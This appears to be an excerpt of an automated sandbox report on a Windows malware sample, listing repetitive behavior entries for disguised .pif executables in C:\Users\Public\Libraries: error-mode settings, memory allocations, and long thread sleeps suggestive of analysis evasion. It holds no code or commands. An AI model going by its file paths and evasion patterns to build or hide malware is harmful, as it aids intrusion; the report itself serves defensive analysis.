Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\Public\Libraries\yihfsboC.pif	Memory allocated: 24170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Memory allocated: 26060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Memory allocated: 25E10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Memory allocated: 343D0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\yihfsboC.pif	Memory allocated: 34950000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\yihfsboC.pif	Memory allocated: 345F0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\yihfsboC.pif	Memory allocated: 28410000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\yihfsboC.pif	Memory allocated: 28910000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\yihfsboC.pif	Memory allocated: 286C0000 memory reserve \| memory write watch

Source: C:\Users\Public\Libraries\yihfsboC.pif

14_2_004019F0

Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598974	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598297	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597953	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596246	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595438	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594641	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599875
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599766
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599641
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599516
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599406
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599297
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599188
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599063
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598938
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598828
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598719
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598594
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598485
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598360
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598235
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598110
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597985
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597860
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597735
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597610
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597485
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597360
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597235
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597110
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596985
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596860
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596735
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596610
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596485
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596360
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596235
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596110
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595985
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595860
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595735
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595622
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595500
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595391
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595266
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595156
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595047
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594936
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594828
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594688
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594559
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594452
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594344
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594234
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594125
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599874
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599756
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599625
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599515
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599406
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599296
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599187
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599078
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598968
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598859
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598749
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598635
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598515
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598406
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598296
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598187
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598078
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597968
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597859
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597749
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597640
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597531
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597421
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597312
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597203
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597093
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596984
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596875
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596765
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596656
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596546
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596437
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596328
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596218
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596109
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595999
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595890
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595780
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595671
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595562
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595453
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595343
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595234
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595125
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595015
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594906
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594796
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594686
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594578

Source: C:\Users\Public\Libraries\yihfsboC.pif	Window / User API: threadDelayed 8892	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Window / User API: threadDelayed 949	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Window / User API: threadDelayed 8184
Source: C:\Users\Public\Libraries\yihfsboC.pif	Window / User API: threadDelayed 1643
Source: C:\Users\Public\Libraries\yihfsboC.pif	Window / User API: threadDelayed 7560
Source: C:\Users\Public\Libraries\yihfsboC.pif	Window / User API: threadDelayed 2292

Source: C:\Users\Public\alpha.pif	API coverage: 6.2 %
Source: C:\Users\Public\alpha.pif	API coverage: 7.9 %
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	API coverage: 9.5 %

Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8084	Thread sleep count: 8892 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8084	Thread sleep count: 949 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -598974s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -598734s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -598625s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -598516s >= -30000s	Jump to behavior
